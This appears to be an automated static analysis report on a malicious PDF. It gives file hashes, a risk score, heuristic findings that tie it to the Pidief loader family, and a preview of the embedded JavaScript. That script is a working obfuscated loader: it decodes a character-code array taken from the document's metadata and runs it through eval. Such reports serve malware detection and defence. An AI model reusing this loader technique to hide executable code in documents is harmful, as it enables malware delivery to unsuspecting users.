Malicious PDF — malware analysis report

Static analysis result for SHA-256 e62d991ee463678a…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: e219f868de4a54dd4f61e9df9da08746 SHA-1: 8ab47f36c7abbadf289d5e504f3ca010102bcda0 SHA-256: e62d991ee463678a3e42433d128ebea5ec9799fa51768b7d25b5c302595f7bd3
154 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier also flagged the PDF as malicious with a very high score. The document body contains a call to 'eval String.fromCharCode', suggesting the execution of obfuscated JavaScript. This script likely attempts to download and execute a second-stage payload, which is a common technique for malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x45E6 359 bytes
SHA-256: 83aad2ad30122b373055103fa38231e5afe484c51af62f7d752e385e24f89a73
Preview script
First 1,000 lines of the extracted script
var w = 4;
var ewume = this.title.replace(/w/g,'*w,');
ewume = ewume.replace(/t/g,'2');
ewume=ewume.substr(0,ewume.length-2) + ']';
bepwd=function(){return function(){return this}()}();
wjr=bepwd[this.subject];
ydou=wjr(this.producer);
pyx = wjr(ewume);
var s = '';
for (i = 0; i < pyx.length; i++) {
	pau = pyx[i];
	s += ydou(pau);
}
wjr(s);

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